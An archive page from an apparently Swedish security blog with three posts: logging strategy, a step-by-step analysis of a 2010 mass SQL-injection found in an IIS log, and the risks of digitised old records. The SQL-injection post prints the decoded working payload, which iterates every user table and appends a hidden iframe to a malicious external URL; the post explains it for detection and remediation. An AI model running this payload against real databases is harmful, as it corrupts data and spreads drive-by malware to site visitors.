Månad: september 2019

18 september, 2019

Loggning i blindo

Ögonblicksbild strax innan insikten att loggarna ligger på samma server som just nu brinner.

Det är något som alltid fascinerat mig: hur många som sparar loggar utan att någonsin fundera på hur de ska användas vid t.ex. ett intrång. De är nöjda med att kunna kryssa för ”vi har loggning” i ett testformulär och sedan… ja… vad då? ”Vem bryr sig? Vi loggar ju”. Allt klart. När något händer, finns det ingen plan eller någon metod för hur man ska få ut något ur drivorna med arkiverade loggar. Men som sagt: ”Vi loggar ju”.

Tillbaka till mina gamla blogginlägg från förr: texten är på Engelska.

Can’t see the forest for the logs?

Do you remember those old analog TVs, where you could pull the antenna cable out to look at the whirling static of white and black dots? For all intents and purposes, what you see is more or less random and no one could possibly call what you see on the TV-screen “information”. But that is what it is. However, when we talk about “information”, we often mean “useful information”. The bad news is that it can be hard to know what is useful now or in the future.

When working with computer generated logs, this can be disastrous. Logs? I’m not talking about the kind that used to be trees. Many applications store informational, warning and alert events in files or databases. Those databases and files are what we call logs. We often install systems and applications without thinking why and what should be written into them. All logs can give potential clues when we try to track an intrusion or when we try to find the cause of a failure. But when the time comes to look for those clues, they may not be there for us and there are quite a few reasons for that:

We have no plan why we log

Ask operations and they tell you logs are for troubleshooting. The guys in security talk about auditing and forensics and the web master needs to know how the site is doing on the big market called the Internet (assuming we’re talking about a web site, off course). Logs can cater to all those needs, if we set the system up that way. But that is a job for an IT-architect and should be done long before the system is actually built. At this time I want to remind you that organizations should have a set of written policies dealing with security and rules. This is outside the scope of this discussion, but the relevant parts of the security policies must be used to decide how to build the logging architecture.

We wait too long

Logs are often setup to start overwriting the oldest entries after some time or when they get larger than a preset size. In short, we could be too late to actually see something, since the log data has been erased. The solution is to understand what will use the logs for and how much history we need. This should be decided when we design the system and must be applied system wide. Yup, I’m repeating myself, I know!

We log all the wrong things and forget to log the right things

Did you know that the web server Microsoft Internet Information Services 6.0 doesn’t log the referer (yes it’s spelled that way!) tag by default? The referer (sic!) tag can show the address of the site the user was surfing on, when he clicked on a link to your site. It’s probably not so interesting to log just for security purposes, but it is very important if you want to know which search phrases or sites link to your site. Do you only log failed logon attempts? Then you won’t know when they actually managed to break in.

We fail to understand the consequences of our settings

If you setup your logs to rollover after a specified time or size, you don’t have to worry about them filling up the disk. Computer criminals know that this is a common practice and often try to hide their tracks by generating a massive amount of events in relevant logs until they rollover and delete the evidence. If we allow it to fill up, an attacker may be able to cause a system to fail by generating events until the system cannot log anything more. If we don’t transfer our logs to a secure system, an attacker that succeeds in taking over a system can destroy all evidence by clearing the logs. And if we do transfer the logs, the total cost of ownership goes up. All choices have their merits and flaws.

We log inconsequentially

The days of everything being “one server – one system” are long gone. Many larger systems consist of servers, network equipment and even cloud services working in unison. We must make sure we log everything as dictated by the policy on all parts of the system where possible.

… And my favorite: we have no idea what to do with it!

Ok, so you now have megabytes of data at your disposal. Whether you want to detect problems and security issues before they happen or want information enough to nail the attackers afterwards, you can seldom just rely on reading the logs manually. You need tools, procedures and scheduled time for it. This is a huge area and there are hordes of free and commercial products and appliances that can help you finding what you’re looking for or hide it from your eyes by being totally useless tools. The right tools for intrusion detection may be totally useless when it comes to troubleshooting stability issues.

This post in one sentence: thought applied before action saves the future.

11 september, 2019

Att avslöja en SQL-injektion

Någon gång 2010 fick jag analysera en attack som fastnat i mitt jobbs IDP. Teknikerna ville ha en förklaring av hur den fungerade och om den var farlig. Så jag skrev en kort uppsats där jag förklarade det hela för dem. Denna skrev jag senare om för min numera avsomnade blogg. Så för den som vill nörda ner sig i lite klassisk webbapplikationssäkerhet, återger jag den här. Den är ganska djup rent teknisk, men borde ge en tanke om hur det fungerar. Och, ja, den är på Engelska. Hoppas den går att förstå ändå.

De-mystifying an SQL-injection I’ve written a lot about security and politics lately, but I’m a technician at heart, so I think it’s time to dig into security from a technical stand point. So today, let’s take one of the many SQL-injection attacks out there on the Internet and pick it apart. The code has been urlcoded, so it cannot harm your web browser. Had that not been the case, it would have been too late anyway.

A few words of warning

The attack is a very real and fully functional attack that you must not put into an SQL-editor connected to a database server and ”run it just to test”. It may actually work and then, congratulations, you’re in deep trouble. Infecting your own database server running as a virtual machine on a private network is probably just fine, as long as you treat it with a flame thrower afterwards. Remember, itís like having your own vial with a frozen Ebola-virus. It will be fun until it spreads. Ok, let’s be fair, this attack is not a virus or even a worm. It is the effect of a worm or more likely a program scanning all subnets it can find. The difference between the two is that the worm spreads and attacks from servers it has conquered. But I digress…

The semi fictitious scenario

You get an alert from someone claiming to see something weird in the log of a Microsoft IIS server and they believe youíre the expert on the matter. So you logon to the server, but have no idea where to look. The person who alerted you have no idea which log it was and only a vague idea as to when.

This might seem hopeless, but a bit of deductive logic goes a long way. When you open the IIS manager console, you note that all websites store their logs under d:\wwwlogs. So you use the built in search function to search through all *.log-files created during the last week for Ö Yeah, for what? Good question. This could be tricky, but there has to be something that sticks out in an attack. Searching for ë and SELECT does nothing. This is weird you think. But recently you read something about hackers using CAST and VARCHAR. You type that into the search box and restart the search.

Good news: Bingo, you got a hit from the logs.

Bad news: It looks like this:

2010-08-10 15:17:49 192.168.13.13 GET /muchosell/login.asp?subPage=form.asp&nr=2&subLink=2;DecLArE%20@s%20
VarCHAR(4000);SET%20@S=CASt(0X64 … <Removed>… F5220%20aS%20VARcHar(4000));eXEc(@s);– 80 – 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200

2010-08-10 15:17:49 192.168.13.13 GET /company/login.asp subPage=form.asp&nr=2&amp

Fantastic. What they Sam Hill are we looking for here? A part of the log entry makes sense, though.

Someone tried to access the login-script on one of the web sites. You use the directory name the log was created under to figure out which site it is. It’s called W3C1. The IIS manager tells you that this site hosts the web application called MuchoSell under www.ericade.net. So it must be http://www.ericade.net/muchosell/login.asp.

The tail end of the log entry also makes sense:
80 – 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200

The attack was against port 80 (standard for web sites), it came from 666.666.666.666 and it claimed to use Internet Explorer 7. It also got a http code 200 back. That means the transaction executed successfully. Is that good or bad in this case?

You probably know that 666.666.666.666 is an impossible ip-address. It’s like those 1-555- telephone numbers you see in Hollywood movies.

But the rest of the code, what is it good for? It really looks kind of useless. Does it even mean something? Yes, it does. A bit of history: the intrusion detection systems that many organizations use can detect SQL-statements sent as parameters in urls. This is bad news for the cracker, and hence the need for obfuscation. The SQL-server actually decodes the weird characters and then interprets them. So if that’s possible, shouldnít we be able to do the same? The answer is off course yes.

The text is not encrypted; it’s just encoded as hex decimal characters. We need a tool to decode it. Your weapon of choice is ”ASCII Hex URL Decoder”, available from https://github.com/Dillie-O/ascii-hex-url-decoder. But when you try pasting the text into the program you get an error message stating that ”the code must be wrapped in a CAST-statement”. CAST is not what you ended up with on your leg after that horrible ski-trip. It’s actually a transact-sql statement telling SQL that it should change one format into another. In this case hex code into varchar. Varchar is a text string, so the CAST-statement must decode it to make it a varchar. After changing the mixed case text to read CAST(0x6 … VARCHAR(4000)) the decoding works and you end up with:

deCLArE @T VaRchAr(255),@c VArChaR(255) DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) Open TabLE_cURsOR fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0) BeGin ExEc(’upDate [’+@t+’] SeT [’+@c+’]=rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))+cAst(0X3C696672616D65 … <Removed>… D653E As VaRChAR(106))’) FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c End ClosE TablE_CURsor DEaLLOcaTE TaBLe_CursOR

But wait, what’s in the middle of that text? Another set of hex-coded stuff? Yup, hackers love double encoding their attack code to subvert security scanners.

Running the remaing hex code through the decoder yields:

<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>

And put all together, you get this:

2010-08-10 15:17:49 192.168.13.13 GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;DecLArE%20@s%20VarCHAR(4000);SET%20@S=deCLArE @T VaRchAr(255),@c VArChaR(255) DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) Open TabLE_cURsOR fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0) BeGin ExEc(’upDate [’+@t+’] SeT [’+@c+’]=rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))+<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>’) FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c End ClosE TablE_CURsor DEaLLOcaTE TaBLe_CursOR;eXEc(@s);– 80 – 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200

You fix the mixed case characters and the final code is:

GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;DECLARE @s VARCHAR(4000);SET @S=DECLARE @T VARCHAR(255),@c VARCHAR(255) DECLARE TABLE_CURSOR CURSOR fOR SELECT a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b WHERE a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) OPEN TABLE_CURSOR FETCH NEXT FROM TABLE_CURSOR INTO @t,@c WHILE(@@FETCH_STATUS=0) BEGIN EXEC(’UPDATE [’+@t+’] SET [’+@c+’]=rtrim(CONVERT(VARCHAR(4000),[’+@c+’]))+<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>’) FETCH NEXT FROM TABLE_CURSOR INTO @T,@c END CLOSE TABLE_CURSOR DEALLOCATE TABLE_CURSOR;EXEC(@s);–

Sweet! But what does it do, and did it work?

Now this is where it gets tricky. Iíll try to pick it apart for you.

GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;

This is the start of the GET statement that normally comes from a web browser, but in this case itís from the attack program instead. It request that web server runs login.asp with three parameters: subpage, nr and subLink. The attack starts with subLink. The attack program has somehow figured out that subLink expects a number. It could have done that by looking at the links on the site that use those parameters. So it does not use the standard apostrophe to break out of the SQL-statement, since itís likely not used in the code. Remember that SELECT * FROM table WHERE id=2 is valid for numerical values, whereas SELECT * FROM table WHERE name=’Erik’ requires apostrophes. This is also why escaping apostrophes does not fix all security holes, since the apostrophes are not used with numbers. Damn!

Then it continues by adding 2;DecLArE%20@s%20VarCHAR(4000);SET%20@S=CASt (…) to the parameter. It obviously expects this to go through unhindered to the database layer. And %20 is just urlcode for white space. Letís rip it apart.

2;

The innocent 2 and a semi-colon which means ”end of statement.”

DecLArE @s VarCHAR(4000);

This part creates a variable called s and casts it as VARCHAR with up to 4000 characters of readable bytes.

SET @S=CASt(

This part sets ”s” as the result of running cast on the long stream of hex coded gibberish. The result fed into s is clear text, since it has been decoded. When done, s is set to:

deCLArE @T VaRchAr ( Ö blah blah blah Ö) TaBLe_CursOR

Quite interesting stuff in that s-variable, no? Yeah, my interests are a bit weird, I know…

;EXEC(@s);–

And the grand finally, run whatever you put into the s-variable on the SQL-server.

Ok, that begs the question, what does the code stored in ”s” do? We have to pick that apart too. Got a headache yet? Good! Hereís what was decoded and put into s:

deCLArE @T VaRchAr(255),

The variable T is a string of characters with up to 255 characters.

@c VArChaR(255)

The variable c is another string of characters with up to 255 characters.

DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167)

This statement is geared towards a Microsoft SQL server and it tries to get a list of all tables and their fields for tables that are user-created. It does not specify a database, so the statement uses whatever database the database user has set as their default. The result is presented as a cursor called TABLE_CURSOR. A cursor is mechanism to manipulate a data set. TABLE_CURSOR makes the names of the aforementioned tables and fields available. This is the list of targets in the database that the script will inject the code into.

Open TabLE_cURsOR

Once created, the cursor is opened.

fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0)

It then feeds the data into the variables t and c and iterates through the statements below until it runs out of data. T is the table and c is the column (field). The statement iterates through all fields in all tables.

BeGin

Begin starts a block of statements belonging together.

ExEc(’upDate [’+@t+’] SeT [’+@c+’]=rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))+cAst(0X3C696672616 … <Removed>… 672616D6 53E As VaRChAR(106))’)

Exec runs an update on all rows changing the data under the column specified in @c in the table specified in @t. The ”rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))” part makes sure that the already present data is retained and the data it then tries to add is decoded as ”<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>”.

FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c

Gets the next victim from the list and feeds into the variables T and c.

End

Ends the statements. Now it iterates through everything between BEGIN and END again, if thereís anything left to get with TABLE_CURSOR.
When the run through of TABLE_CURSOR is done, itís closed.

ClosE TablE_CURsor

Closing the cursor.

DEaLLOcaTE TaBLe_CursOR

Nice of it to actually clean up after trashing the place.

So in short, it feeds the iframe-code into every column for every row it can get its hand on, oh the humanity!

Thatís all good and fine, but did the attack succeed? Nothing so far gives us any information. Sorry, there are no good clues in this log. Or are there? The code references ”sysObjects” and ”sysColumns”, which only exist in Microsoft SQL server. It also uses semi-colons, which makes sure it will never work on a MySQL-based server. If you know that the SQL-backend is running anything else that Microsoft SQL, this particular code will most likely not work at all.

That is a good start. But you must be sure, so you connect directly the SQL-server and go through the tables in the database that the web application uses. If the attack was successful, most fields would be filled with the ëiframeÿ-code.

But you’re not satisfied, so you download firebug to your Firefox browser and make sure both are patched to the latest version. You also run them on a virtual machine that is setup with a non-persistent disk to prevent the infection from surviving a reboot. Then you surf to the site and use Firebug to go through the code, searching for the pesky <iframe>.

If all those three things show no evidence of a successful attack, you’re probably in the clear. I said ”probably”. Good. Next up for you is a cup of coffee and a chat with the developers.

The attack works the same way some burglars try to open every door on every house in a neighborhood. If the door does not open, they try the next one. There are often people forgetting to lock their doors when they get home. And there are many web servers not properly secured.

What must be done to secure a web application depends on how the application is built, but there are a few general rules:

Input must be cleaned and preferably checked. A parameter expecting a number must not accept anything else. All input data must have a maximum and a minimum size. Everything that does not fit the constraints must be stripped or discarded.

The web application must not have more permissions or privileges than it needs. E.g. does it really need exec-privileges?

The code must not echo error messages from the database layer. Create a connection object and verify if it returns an error. In that case, print a generic error like ”The application has experienced a problem and your request could not be completed. Please call your system administrator.”

At the end of the day you hopefully get to write a report stating that you sound the ”all clear” but recommend a code review and a security analysis. On a very sensitive system, you might want to suggest that the manager contact a company specializing in penetration testing.

4 september, 2019

När det förflutna jagar oss

… Lite falsk trygghet är vad det är…

Klassiskt citat vid det här laget: ”Vi som är födda före Facebook blev populärt, slipper skämmas för vad vi gjorde när vi var ungdomar”.

Visst är det så. Det finns säkert många pinsamma bilder de äldre generationerna när de har en lampskärm på huvudet och super billig Rysk Vodka. Dessa bilder hamnar troligen bland massor av andra i ett arkiv där de aldrig mer ser dagens ljus. Och ingen är ledsen för det. Men det är inte alltid så.

Ibland flyter gamla försyndelser upp och personer får stå till svars för saker de sagt, eller gjort när de var unga. T.ex. bilder, som då var menade som en rolig grej, men som många år senare blir pinsamma inför en persons valrörelse eller när vederbörande blir VD för ett företag.

Men allt är inte bilder. Med vår stora förtjusning av digitalisering som företag, kommuner och organisationer sysslar med just nu, dyker saker upp helt oväntat.

När jag sökte på mitt namn på Google kom helt plötsligt en artikel från DN som skrevs om mig 1993 upp. Det är när jag förklarade att jag hellre var ensam än hängde på ytliga fester och drack mig berusad. Ingenting pinsamt egentligen, men helst hade jag nog sett att den försvann i glömskans djup.

I IT-säkerhetsvärlden är denna typ av information ingenting som man tänker på. Men för en hackare eller en penetrationstestare ger den mer vapen att tillgå under ”footprinting”-fasen, när man försöker ta reda på information om ett företag, en person eller en organisation. Alla försök att minimera informationen som finns att tillgå, kan motverkas av att information från gamla faxar, BBSer, brev och telex helt plötsligt läggs ut på nätet utan förvarning. Och det är inte under vår kontroll.

När information digitaliseras, kan en hackare som tar sig in hos en myndighet läcka ut bra mycket mer information än för 10-15 år sedan. Och mer blir det. ”Vad som göms i snö, kommer upp i tö”.

Vad är strategin för att hantera detta? Det är troligen en plan att se till att ha en omvärldsbevakning där man har mekanismer för att hantera när information om en själv, sitt företag eller organisation omnäms. Det är också viktigt att fundera på om man verkligen VILL digitalisera allting. Måste saker som skulle kunna vara skadligt i händerna på en hacker bli digitalt? Fundera på detta och kom ihåg ”Internet glömmer aldrig”.

Scroll to top